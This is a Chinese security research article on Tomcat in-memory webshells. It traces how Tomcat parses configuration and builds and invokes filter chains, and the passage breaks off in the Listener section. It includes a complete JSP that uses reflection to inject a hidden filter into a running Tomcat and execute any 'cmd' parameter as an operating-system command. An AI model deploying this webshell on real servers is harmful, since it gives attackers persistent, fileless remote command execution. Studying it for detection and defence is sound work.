深入研究Tomcat内存马的攻击技术
2023-11-11 14:23:9 Author: xz.aliyun.com(查看原文) 阅读量:17 收藏

1. 简介

Tomcat内存马(Tomcat Memory Shell)是一种利用Apache Tomcat服务器的漏洞,将恶意代码注入Tomcat进程的内存中的攻击技术

2. 环境

以下代码基于Windows 10、Tomcat 9.0.73、JDK 1.8.0_66

3. Tomcat解析配置文件

在org/apache/catalina/core/StandardContext类的startInternal方法开始

fireLifecycleEvent(Lifecycle.CONFIGURE_START_EVENT, null);

经过如下函数调用栈:

configureStart:976, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)

来到org/apache/catalina/startup/ContextConfig类的configureStart方法,其中调用了webConfig方法
这个方法合并Tomcat全局web.xml、当前应用的web.xml、web-fragment.xml和web应用中的注解配置信息,然后调用configureContext方法将解析出的各种配置信息(如Servlet配置、Filter配置、Listener配置等)关联到Context对象中
configureContext方法:

private void configureContext(WebXml webxml) {
    // As far as possible, process in alphabetical order so it is easy to
    // check everything is present
    // Some validation depends on correct public ID
    // 设置公共ID
    context.setPublicId(webxml.getPublicId());

    // 设置版本信息
    // Everything else in order
    context.setEffectiveMajorVersion(webxml.getMajorVersion());
    context.setEffectiveMinorVersion(webxml.getMinorVersion());

    // 设置上下文参数
    for (Entry<String, String> entry : webxml.getContextParams().entrySet()) {
        context.addParameter(entry.getKey(), entry.getValue());
    }
    // 配置其他基本信息
    context.setDenyUncoveredHttpMethods(
            webxml.getDenyUncoveredHttpMethods());
    context.setDisplayName(webxml.getDisplayName());
    context.setDistributable(webxml.isDistributable());
    // 配置EJB引用
    for (ContextLocalEjb ejbLocalRef : webxml.getEjbLocalRefs().values()) {
        context.getNamingResources().addLocalEjb(ejbLocalRef);
    }
    for (ContextEjb ejbRef : webxml.getEjbRefs().values()) {
        context.getNamingResources().addEjb(ejbRef);
    }
    // 配置环境条目
    for (ContextEnvironment environment : webxml.getEnvEntries().values()) {
        context.getNamingResources().addEnvironment(environment);
    }
    // 配置错误页面
    for (ErrorPage errorPage : webxml.getErrorPages().values()) {
        context.addErrorPage(errorPage);
    }
    // 配置过滤器(filter)
    for (FilterDef filter : webxml.getFilters().values()) {
        if (filter.getAsyncSupported() == null) {
            filter.setAsyncSupported("false");
        }
        context.addFilterDef(filter);
    }
    // 配置过滤器映射(filter-mapping)
    for (FilterMap filterMap : webxml.getFilterMappings()) {
        context.addFilterMap(filterMap);
    }
    // 设置JSP配置描述符
    context.setJspConfigDescriptor(webxml.getJspConfigDescriptor());
    // 配置监听器
    for (String listener : webxml.getListeners()) {
        context.addApplicationListener(listener);
    }
    // 配置区域编码映射
    for (Entry<String, String> entry :
            webxml.getLocaleEncodingMappings().entrySet()) {
        context.addLocaleEncodingMappingParameter(entry.getKey(),
                entry.getValue());
    }
    // Prevents IAE
    // 设置登录配置
    if (webxml.getLoginConfig() != null) {
        context.setLoginConfig(webxml.getLoginConfig());
    }
    // 配置消息目标引用
    for (MessageDestinationRef mdr :
            webxml.getMessageDestinationRefs().values()) {
        context.getNamingResources().addMessageDestinationRef(mdr);
    }

    // messageDestinations were ignored in Tomcat 6, so ignore here

    context.setIgnoreAnnotations(webxml.isMetadataComplete());
    // 配置MIME映射
    for (Entry<String, String> entry :
            webxml.getMimeMappings().entrySet()) {
        context.addMimeMapping(entry.getKey(), entry.getValue());
    }
    // 配置请求字符编码和响应字符编码
    context.setRequestCharacterEncoding(webxml.getRequestCharacterEncoding());
    // Name is just used for ordering
    // 配置资源环境引用
    for (ContextResourceEnvRef resource :
            webxml.getResourceEnvRefs().values()) {
        context.getNamingResources().addResourceEnvRef(resource);
    }
    for (ContextResource resource : webxml.getResourceRefs().values()) {
        context.getNamingResources().addResource(resource);
    }
    // 配置资源引用
    context.setResponseCharacterEncoding(webxml.getResponseCharacterEncoding());
    boolean allAuthenticatedUsersIsAppRole =
            webxml.getSecurityRoles().contains(
                    SecurityConstraint.ROLE_ALL_AUTHENTICATED_USERS);
    // 配置安全约束
    for (SecurityConstraint constraint : webxml.getSecurityConstraints()) {
        if (allAuthenticatedUsersIsAppRole) {
            constraint.treatAllAuthenticatedUsersAsApplicationRole();
        }
        context.addConstraint(constraint);
    }
    // 配置安全角色
    for (String role : webxml.getSecurityRoles()) {
        context.addSecurityRole(role);
    }
    // 配置服务引用
    for (ContextService service : webxml.getServiceRefs().values()) {
        context.getNamingResources().addService(service);
    }
    // 配置Servlet
    for (ServletDef servlet : webxml.getServlets().values()) {
        Wrapper wrapper = context.createWrapper();
        // Description is ignored
        // Display name is ignored
        // Icons are ignored

        // jsp-file gets passed to the JSP Servlet as an init-param

        if (servlet.getLoadOnStartup() != null) {
            wrapper.setLoadOnStartup(servlet.getLoadOnStartup().intValue());
        }
        if (servlet.getEnabled() != null) {
            wrapper.setEnabled(servlet.getEnabled().booleanValue());
        }
        wrapper.setName(servlet.getServletName());
        Map<String,String> params = servlet.getParameterMap();
        for (Entry<String, String> entry : params.entrySet()) {
            wrapper.addInitParameter(entry.getKey(), entry.getValue());
        }
        wrapper.setRunAs(servlet.getRunAs());
        Set<SecurityRoleRef> roleRefs = servlet.getSecurityRoleRefs();
        for (SecurityRoleRef roleRef : roleRefs) {
            wrapper.addSecurityReference(
                    roleRef.getName(), roleRef.getLink());
        }
        wrapper.setServletClass(servlet.getServletClass());
        MultipartDef multipartdef = servlet.getMultipartDef();
        if (multipartdef != null) {
            long maxFileSize = -1;
            long maxRequestSize = -1;
            int fileSizeThreshold = 0;

            if(null != multipartdef.getMaxFileSize()) {
                maxFileSize = Long.parseLong(multipartdef.getMaxFileSize());
            }
            if(null != multipartdef.getMaxRequestSize()) {
                maxRequestSize = Long.parseLong(multipartdef.getMaxRequestSize());
            }
            if(null != multipartdef.getFileSizeThreshold()) {
                fileSizeThreshold = Integer.parseInt(multipartdef.getFileSizeThreshold());
            }

            wrapper.setMultipartConfigElement(new MultipartConfigElement(
                    multipartdef.getLocation(),
                    maxFileSize,
                    maxRequestSize,
                    fileSizeThreshold));
        }
        if (servlet.getAsyncSupported() != null) {
            wrapper.setAsyncSupported(
                    servlet.getAsyncSupported().booleanValue());
        }
        wrapper.setOverridable(servlet.isOverridable());
        context.addChild(wrapper);
    }
    // 配置Servlet映射
    for (Entry<String, String> entry :
            webxml.getServletMappings().entrySet()) {
        context.addServletMappingDecoded(entry.getKey(), entry.getValue());
    }
    // 设置会话配置
    SessionConfig sessionConfig = webxml.getSessionConfig();
    if (sessionConfig != null) {
        if (sessionConfig.getSessionTimeout() != null) {
            context.setSessionTimeout(
                    sessionConfig.getSessionTimeout().intValue());
        }
        SessionCookieConfig scc = context.getServletContext().getSessionCookieConfig();
        scc.setName(sessionConfig.getCookieName());
        scc.setDomain(sessionConfig.getCookieDomain());
        scc.setPath(sessionConfig.getCookiePath());
        scc.setComment(sessionConfig.getCookieComment());
        if (sessionConfig.getCookieHttpOnly() != null) {
            scc.setHttpOnly(sessionConfig.getCookieHttpOnly().booleanValue());
        }
        if (sessionConfig.getCookieSecure() != null) {
            scc.setSecure(sessionConfig.getCookieSecure().booleanValue());
        }
        if (sessionConfig.getCookieMaxAge() != null) {
            scc.setMaxAge(sessionConfig.getCookieMaxAge().intValue());
        }
        if (sessionConfig.getSessionTrackingModes().size() > 0) {
            context.getServletContext().setSessionTrackingModes(
                    sessionConfig.getSessionTrackingModes());
        }
    }

    // Context doesn't use version directly
    // 配置欢迎文件
    for (String welcomeFile : webxml.getWelcomeFiles()) {
        /*
            * The following will result in a welcome file of "" so don't add
            * that to the context
            * <welcome-file-list>
            *   <welcome-file/>
            * </welcome-file-list>
            */
        if (welcomeFile != null && welcomeFile.length() > 0) {
            context.addWelcomeFile(welcomeFile);
        }
    }

    // Do this last as it depends on servlets
    // 配置JSP属性组
    for (JspPropertyGroup jspPropertyGroup :
            webxml.getJspPropertyGroups()) {
        String jspServletName = context.findServletMapping("*.jsp");
        if (jspServletName == null) {
            jspServletName = "jsp";
        }
        if (context.findChild(jspServletName) != null) {
            for (String urlPattern : jspPropertyGroup.getUrlPatterns()) {
                context.addServletMappingDecoded(urlPattern, jspServletName, true);
            }
        } else {
            if(log.isDebugEnabled()) {
                for (String urlPattern : jspPropertyGroup.getUrlPatterns()) {
                    log.debug("Skipping " + urlPattern + " , no servlet " +
                            jspServletName);
                }
            }
        }
    }
    // 配置PostConstruct方法
    for (Entry<String, String> entry :
            webxml.getPostConstructMethods().entrySet()) {
        context.addPostConstructMethod(entry.getKey(), entry.getValue());
    }
    // 配置PreDestroy方法
    for (Entry<String, String> entry :
        webxml.getPreDestroyMethods().entrySet()) {
        context.addPreDestroyMethod(entry.getKey(), entry.getValue());
    }
}

函数调用栈:

configureContext:1447, ContextConfig (org.apache.catalina.startup)
webConfig:1330, ContextConfig (org.apache.catalina.startup)
configureStart:987, ContextConfig (org.apache.catalina.startup)
lifecycleEvent:304, ContextConfig (org.apache.catalina.startup)
fireLifecycleEvent:123, LifecycleBase (org.apache.catalina.util)
startInternal:4851, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:683, ContainerBase (org.apache.catalina.core)
addChild:658, ContainerBase (org.apache.catalina.core)
addChild:662, StandardHost (org.apache.catalina.core)
manageApp:1782, HostConfig (org.apache.catalina.startup)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
createStandardContext:460, MBeanFactory (org.apache.catalina.mbeans)
createStandardContext:408, MBeanFactory (org.apache.catalina.mbeans)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
invoke:294, BaseModelMBean (org.apache.tomcat.util.modeler)
invoke:819, DefaultMBeanServerInterceptor (com.sun.jmx.interceptor)
invoke:801, JmxMBeanServer (com.sun.jmx.mbeanserver)
invoke:468, MBeanServerAccessController (com.sun.jmx.remote.security)
doOperation:1471, RMIConnectionImpl (javax.management.remote.rmi)
access$300:76, RMIConnectionImpl (javax.management.remote.rmi)
run:1312, RMIConnectionImpl$PrivilegedOperation (javax.management.remote.rmi)
doPrivileged:-1, AccessController (java.security)
doPrivilegedOperation:1411, RMIConnectionImpl (javax.management.remote.rmi)
invoke:832, RMIConnectionImpl (javax.management.remote.rmi)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:497, Method (java.lang.reflect)
dispatch:323, UnicastServerRef (sun.rmi.server)
run:200, Transport$1 (sun.rmi.transport)
run:197, Transport$1 (sun.rmi.transport)
doPrivileged:-1, AccessController (java.security)
serviceCall:196, Transport (sun.rmi.transport)
handleMessages:568, TCPTransport (sun.rmi.transport.tcp)
run0:826, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
lambda$run$256:683, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
run:-1, 1966382949 (sun.rmi.transport.tcp.TCPTransport$ConnectionHandler$$Lambda$25)
doPrivileged:-1, AccessController (java.security)
run:682, TCPTransport$ConnectionHandler (sun.rmi.transport.tcp)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)

回到startInternal方法,执行下面代码

// Call ServletContainerInitializers
for (Map.Entry<ServletContainerInitializer, Set<Class<?>>> entry : initializers.entrySet()) {
    try {
        entry.getKey().onStartup(entry.getValue(), getServletContext());
    } catch (ServletException e) {
        log.error(sm.getString("standardContext.sciFail"), e);
        ok = false;
        break;
    }
}

这段代码的作用是遍历已注册的ServletContainerInitializer,并依次调用它们的onStartup方法。通过这种方式,可以在Servlet容器启动时执行一些初始化任务,例如注册Servlet、Filter、Listener等。
最终来到org/apache/catalina/core/ApplicationContext的addFilter方法

private FilterRegistration.Dynamic addFilter(String filterName, String filterClass, Filter filter)
        throws IllegalStateException {
    // 参数验证
    if (filterName == null || filterName.equals("")) {
        throw new IllegalArgumentException(sm.getString("applicationContext.invalidFilterName", filterName));
    }
    // 状态检查
    // TODO Spec breaking enhancement to ignore this restriction
    checkState("applicationContext.addFilter.ise");
    // 查找FilterDef
    FilterDef filterDef = context.findFilterDef(filterName);

    // Assume a 'complete' FilterRegistration is one that has a class and
    // a name
    // 如果查找未成功,创建一个新的FilterDef
    if (filterDef == null) {
        filterDef = new FilterDef();
        filterDef.setFilterName(filterName);
        context.addFilterDef(filterDef);
    } else {
        // 如果FilterDef对象已经具有filterName和filterClass
        if (filterDef.getFilterName() != null && filterDef.getFilterClass() != null) {
            return null;
        }
    }
    // 设置filterDef属性
    if (filter == null) {
        filterDef.setFilterClass(filterClass);
    } else {
        filterDef.setFilterClass(filter.getClass().getName());
        filterDef.setFilter(filter);
    }
    // 创建了ApplicationFilterRegistration对象
    return new ApplicationFilterRegistration(filterDef, context);
}

该段代码的作用是向应用程序上下文中添加过滤器,并返回一个FilterRegistration.Dynamic对象,用于进一步配置和管理该过滤器。
函数调用栈:

addFilter:774, ApplicationContext (org.apache.catalina.core)
addFilter:761, ApplicationContext (org.apache.catalina.core)
addFilter:434, ApplicationContextFacade (org.apache.catalina.core)
<init>:109, WsServerContainer (org.apache.tomcat.websocket.server)
init:137, WsSci (org.apache.tomcat.websocket.server)
onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:4929, StandardContext (org.apache.catalina.core)

filterMaps的添加过程,在org/apache/catalina/core/ApplicationFilterRegistration的addMappingForUrlPatterns方法中

@Override
public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter,
        String... urlPatterns) {

    FilterMap filterMap = new FilterMap();

    filterMap.setFilterName(filterDef.getFilterName());

    if (dispatcherTypes != null) {
        for (DispatcherType dispatcherType : dispatcherTypes) {
            filterMap.setDispatcher(dispatcherType.name());
        }
    }

    if (urlPatterns != null) {
        // % decoded (if necessary) using UTF-8
        for (String urlPattern : urlPatterns) {
            filterMap.addURLPattern(urlPattern);
        }

        if (isMatchAfter) {
            context.addFilterMap(filterMap);
        } else {
            context.addFilterMapBefore(filterMap);
        }
    }
    // else error?

}

函数调用栈:

addMappingForUrlPatterns:83, ApplicationFilterRegistration (org.apache.catalina.core)
<init>:116, WsServerContainer (org.apache.tomcat.websocket.server)
init:137, WsSci (org.apache.tomcat.websocket.server)
onStartup:49, WsSci (org.apache.tomcat.websocket.server)
startInternal:4929, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)

经过上面的解析,此时filterDefs、filterMaps中已经有数据了,并且filterMaps是根据filterDefs来的

接着来到startInternal方法,调用filterStart

// Configure and call application filters
if (ok) {
    if (!filterStart()) {
        // ...
    }

此时filterConfigs中还没有数据,经过filterStart方法后,就有了数据
函数调用栈:

filterStart:4331, StandardContext (org.apache.catalina.core)
startInternal:4965, StandardContext (org.apache.catalina.core)
start:183, LifecycleBase (org.apache.catalina.util)
addChildInternal:683, ContainerBase (org.apache.catalina.core)

4. Filter

4.1 例子

创建一个简单的Java Web项目,添加一个Filter,然后在web.xml中配置Filter,启动项目,访问一个Servlet,查看控制台输出的日志,可以看到Filter的init方法和doFilter方法被调用了。另外在停止Tomcat时,也会调用Filter的destroy方法。
Filter示例如下:

package org.example.filter;

import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import java.io.IOException;

@WebFilter(value = "/hello", filterName = "hello")
public class HelloFilter implements Filter {
    @Override
    public void init(FilterConfig filterConfig) throws ServletException {
        System.out.println("filter init");
    }

    @Override
    public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
        System.out.println("do filter");
        filterChain.doFilter(servletRequest, servletResponse);
    }

    @Override
    public void destroy() {
        System.out.println("filter destory");
    }
}

web.xml配置如下:

<filter>
    <filter-name>hello</filter-name>
    <filter-class>org.example.filter.HelloFilter</filter-class>
</filter>
<filter-mapping>
    <filter-name>hello</filter-name>
    <url-pattern>/hello</url-pattern>
</filter-mapping>

Filter的init方法和doFilter方法是谁调用的呢?Filter是怎么被调用的呢?

4.2 Filter注册流程

根据上一节描述的Tomcat配置文件解析过程,在应用程序中动态添加一个filter的过程如下:

  • 调用ApplicationContext的addFilter方法创建FilterDef对象
  • 调用StandardContext的filterStart方法得到filterConfigs
  • 调用ApplicationFilterRegistration的addMappingForUrlPatterns生成filterMaps(可以将自定义的filter放在filterMaps中的第一位,有两种方法:a.手动修改filterMaps的顺序 b.调用StandardContext的addFilterMapBefore方法将该filter放入filterMaps第一位)

另外,在实现内存马的时候,可以模仿以上函数的代码构建filterDefs、filterMaps、filterConfigs这三个变量

4.3 Filter触发流程

根据Tomcat版本添加Maven依赖

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>9.0.73</version>
</dependency>

在自定义Filter的doFilter方法中下断点,然后启动Tomcat,访问Servlet,可以看到断点被触发了,查看调用栈,可以看到调用链如下:

doFilter:16, HelloFilter (org.example.filter)
internalDoFilter:178, ApplicationFilterChain (org.apache.catalina.core)
doFilter:153, ApplicationFilterChain (org.apache.catalina.core)
invoke:167, StandardWrapperValve (org.apache.catalina.core)
invoke:90, StandardContextValve (org.apache.catalina.core)
invoke:492, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:130, StandardHostValve (org.apache.catalina.core)
invoke:93, ErrorReportValve (org.apache.catalina.valves)
invoke:673, AbstractAccessLogValve (org.apache.catalina.valves)
invoke:74, StandardEngineValve (org.apache.catalina.core)
service:343, CoyoteAdapter (org.apache.catalina.connector)
service:389, Http11Processor (org.apache.coyote.http11)
process:63, AbstractProcessorLight (org.apache.coyote)
process:926, AbstractProtocol$ConnectionHandler (org.apache.coyote)
doRun:1791, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net)
run:49, SocketProcessorBase (org.apache.tomcat.util.net)
runWorker:1191, ThreadPoolExecutor (org.apache.tomcat.util.threads)
run:659, ThreadPoolExecutor$Worker (org.apache.tomcat.util.threads)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:745, Thread (java.lang)

首先在org/apache/catalina/core/StandardWrapperValve类的invoke方法中,分两步:
第一步如下代码构建了一条filterChain

ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);

构建好链后,第二步调用filterChain的doFilter方法,如下代码:

filterChain.doFilter(request.getRequest(), response.getResponse());

先分析ApplicationFilterFactory.createFilterChain

public static ApplicationFilterChain createFilterChain(ServletRequest request, Wrapper wrapper, Servlet servlet) {

    // If there is no servlet to execute, return null
    if (servlet == null) {
        return null;
    }

    // Create and initialize a filter chain object
    ApplicationFilterChain filterChain = null;
    if (request instanceof Request) {
        Request req = (Request) request;
        if (Globals.IS_SECURITY_ENABLED) {
            // Security: Do not recycle
            filterChain = new ApplicationFilterChain();
        } else {
            filterChain = (ApplicationFilterChain) req.getFilterChain();
            if (filterChain == null) {
                filterChain = new ApplicationFilterChain();
                req.setFilterChain(filterChain);
            }
        }
    } else {
        // Request dispatcher in use
        filterChain = new ApplicationFilterChain();
    }

    filterChain.setServlet(servlet);
    filterChain.setServletSupportsAsync(wrapper.isAsyncSupported());

    // Acquire the filter mappings for this Context
    StandardContext context = (StandardContext) wrapper.getParent();
    FilterMap filterMaps[] = context.findFilterMaps();

    // If there are no filter mappings, we are done
    if ((filterMaps == null) || (filterMaps.length == 0)) {
        return filterChain;
    }

    // Acquire the information we will need to match filter mappings
    DispatcherType dispatcher = (DispatcherType) request.getAttribute(Globals.DISPATCHER_TYPE_ATTR);

    String requestPath = null;
    Object attribute = request.getAttribute(Globals.DISPATCHER_REQUEST_PATH_ATTR);
    if (attribute != null) {
        requestPath = attribute.toString();
    }

    String servletName = wrapper.getName();

    // Add the relevant path-mapped filters to this filter chain
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersURL(filterMap, requestPath)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context
                .findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Add filters that match on servlet name second
    for (FilterMap filterMap : filterMaps) {
        if (!matchDispatcher(filterMap, dispatcher)) {
            continue;
        }
        if (!matchFiltersServlet(filterMap, servletName)) {
            continue;
        }
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) context
                .findFilterConfig(filterMap.getFilterName());
        if (filterConfig == null) {
            // FIXME - log configuration problem
            continue;
        }
        filterChain.addFilter(filterConfig);
    }

    // Return the completed filter chain
    return filterChain;
}

第一:尝试从request中获取filterChain,如果获取不到,就创建一个新的filterChain

第二:设置servlet,获取filterMaps

第三:将相关的路径映射过滤器添加到此过滤器链中

filterMap.getFilterName得到的是name,而context.findFilterConfig是根据name找filterConfigs中对应的值
进入addFilter

void addFilter(ApplicationFilterConfig filterConfig) {

    // Prevent the same filter being added multiple times
    for (ApplicationFilterConfig filter : filters) {
        if (filter == filterConfig) {
            return;
        }
    }

    if (n == filters.length) {
        ApplicationFilterConfig[] newFilters = new ApplicationFilterConfig[n + INCREMENT];
        System.arraycopy(filters, 0, newFilters, 0, n);
        filters = newFilters;
    }
    filters[n++] = filterConfig;

}


完成一轮for循环后,继续下一轮,直到所有符合条件的filterMap都添加到filterChain中
第四:添加与服务程序名称相匹配的筛选器,即第二个for循环
第五:返回完成的filterChain

接下来返回StandardWrapperValve.invoke方法,调用filterChain的doFilter方法

进入internalDoFilter方法
获取filterChain中的第一个filter

然后调用filter的doFilter方法

filter.doFilter(request, response, this);

进入该filter的doFilter方法就来到了我们写的函数

总结

  • 根据请求的 URL 从 FilterMaps 中找出与之 URL 对应的 Filter 名称
  • 根据 Filter 名称去 FilterConfigs 中寻找对应名称的 FilterConfig
  • 找到对应的 FilterConfig 之后添加到 FilterChain中,并且返回 FilterChain
  • filterChain 中调用 internalDoFilter 遍历获取 chain 中的FilterConfig,然后从 FilterConfig 中获取 Filter,然后调用 Filter 的 doFilter 方法

关键
这里面存在关键的三个变量:filterMaps、filterConfigs、filterDefs, 它们都从StandardContext中获取

filterMaps
在StandardContext中添加filterMap的方法

@Override
public void addFilterMap(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.add(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}
@Override
public void addFilterMapBefore(FilterMap filterMap) {
    validateFilterMap(filterMap);
    // Add this filter mapping to our registered set
    filterMaps.addBefore(filterMap);
    fireContainerEvent("addFilterMap", filterMap);
}

filterConfigs
在StandardContext中添加filterConfig的方法

public boolean filterStart() {

    if (getLogger().isDebugEnabled()) {
        getLogger().debug("Starting filters");
    }
    // Instantiate and record a FilterConfig for each defined filter
    boolean ok = true;
    synchronized (filterConfigs) {
        filterConfigs.clear();
        for (Entry<String, FilterDef> entry : filterDefs.entrySet()) {
            String name = entry.getKey();
            if (getLogger().isDebugEnabled()) {
                getLogger().debug(" Starting filter '" + name + "'");
            }
            try {
                ApplicationFilterConfig filterConfig = new ApplicationFilterConfig(this, entry.getValue());
                // 这里可以往filterConfigs中添加filterConfig
                filterConfigs.put(name, filterConfig);
            } catch (Throwable t) {
                t = ExceptionUtils.unwrapInvocationTargetException(t);
                ExceptionUtils.handleThrowable(t);
                getLogger().error(sm.getString("standardContext.filterStart", name), t);
                ok = false;
            }
        }
    }

    return ok;
}

这个方法在Tomcat启动时会运行,遍历filterDefs,然后根据filterDefs中的值创建filterConfig,然后将filterConfig添加到filterConfigs中

filterDefs
在StandardContext中添加filterDef的方法

@Override
public void addFilterDef(FilterDef filterDef) {

    synchronized (filterDefs) {
        filterDefs.put(filterDef.getFilterName(), filterDef);
    }
    fireContainerEvent("addFilterDef", filterDef);

}

而filterDefs是从配置文件中解析得来的

4.4 Filter内存马

filterMemshell.jsp:

<%--
Created by IntelliJ IDEA.
User: Dili
Date: 2023/9/18
Time: 16:30
To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>

<%
try {
    // 获取应用程序上下文对象(ApplicationContextFacade)
    ServletContext servletContext = request.getSession().getServletContext();

    // 获取ApplicationContextFacade的context属性,即ApplicationContext
    Field applicationContextField = servletContext.getClass().getDeclaredField("context");
    applicationContextField.setAccessible(true);
    ApplicationContext applicationContext = (ApplicationContext) applicationContextField.get(servletContext);

    // 获取ApplicationContext的context属性,即StandardContext
    Field standContextField = applicationContext.getClass().getDeclaredField("context");
    standContextField.setAccessible(true);
    StandardContext standardContext = (StandardContext) standContextField.get(applicationContext);

    // 获取StandardContext的filterConfigs属性,即filterConfigs
    Field filterConfigsField = standardContext.getClass().getDeclaredField("filterConfigs");
    filterConfigsField.setAccessible(true);
    Map filterConfigs = (Map) filterConfigsField.get(standardContext);

    // 创建my filter 需要先判断是否已经存在同名的filter
    String myFiltername = "filtershell";
    if(filterConfigs.get(myFiltername) == null) {
        Filter myFilter = new Filter() {

            @Override
            public void init(FilterConfig filterConfig) throws ServletException {
                Filter.super.init(filterConfig);
            }

            @Override
            public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
                // shell
                HttpServletRequest req = (HttpServletRequest) servletRequest;
                if(req.getParameter("cmd") != null) {
                    byte[] bytes = new byte[1024];
                    Process process = new ProcessBuilder("cmd", "/C", req.getParameter("cmd")).start();
                    int len = process.getInputStream().read(bytes);
                    servletResponse.getWriter().write(new String(bytes, 0, len));
                    process.destroy();
                    return;
                }
                filterChain.doFilter(servletRequest,servletResponse);
            }

            @Override
            public void destroy() {
                Filter.super.destroy();
            }
        };

        // 创建filterDef对象
        FilterDef filterDef = new FilterDef();
        filterDef.setFilter(myFilter);
        filterDef.setFilterName(myFiltername);
        filterDef.setFilterClass(myFilter.getClass().getName());

        // 将filterDef添加至filterDefs
        standardContext.addFilterDef(filterDef);

        // 创建filterMap
        FilterMap filterMap = new FilterMap();
        filterMap.addURLPattern("/*");
        filterMap.setFilterName(myFiltername);
        filterMap.setDispatcher(DispatcherType.REQUEST.name());

        // 将filterMap添加至filterMaps(第一位)
        standardContext.addFilterMapBefore(filterMap);

        // 创建ApplicationFilterConfig对象
        Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
        constructor.setAccessible(true);
        ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);

        filterConfigs.put(myFiltername, filterConfig);

    }
    System.out.println("Success!");
} catch (Exception e) {
    e.printStackTrace();
}
%>

访问http://localhost:8090/Tomcat_memshell_Web_exploded/filterMemshell.jsp
执行完第一行得到ApplicationContextFacade对象

执行到最后

成功将自定义的filter添加到filterConfigs、filterMaps、filterDefs中
此时内存马成功写入,接下来就是访问相应的url生成filterChain,调用自定义的filter,触发命令执行

5. Listener

5.1 简介

常用监听器:

  • ServletContextListener:用于监听整个 Servlet 上下文(创建、销毁)
  • ServletContextAttributeListener:对 Servlet 上下文属性进行监听(增删改属性)
  • ServletRequestListener:对 Request 请求进行监听(创建、销毁)
  • ServletRequestAttributeListener:对 Request 属性进行监听(增删改属性)
  • javax.servlet.http.HttpSessionListener:对 Session 整体状态的监听
  • javax.servlet.http.HttpSessionAttributeListener:对 Session 属性的监听

这些类接口都是java.util.EventListener的子接口,以ServletRequestListener为例,它的接口定义如下:

public interface ServletRequestListener extends EventListener {

    /**
     * Receives notification that a ServletRequest is about to go out
     * of scope of the web application.
     *
     * @param sre the ServletRequestEvent containing the ServletRequest
     * and the ServletContext representing the web application
     */
    public void requestDestroyed(ServletRequestEvent sre);

    /**
     * Receives notification that a ServletRequest is about to come
     * into scope of the web application.
     *
     * @param sre the ServletRequestEvent containing the ServletRequest
     * and the ServletContext representing the web application
     */
    public void requestInitialized(ServletRequestEvent sre);
}

这个监听器用于监听ServletRequest的创建和销毁,当ServletRequest创建时,会调用requestInitialized方法,当ServletRequest销毁时,会调用requestDestroyed方法。

5.2 例子

创建HelloListener类,实现ServletContextListener接口,重写contextInitialized方法和contextDestroyed方法

package org.example.listener;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;

public class HelloListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent sre) {
        System.out.println("invoke ServletRequestListener requestDestroyed!");
    }

    @Override
    public void requestInitialized(ServletRequestEvent sre) {
        System.out.println("invoke ServletRequestListener requestInitialized!");
    }
}

修改web.xml,添加listener配置

<listener>
    <listener-class>org.example.listener.HelloListener</listener-class>
</listener>

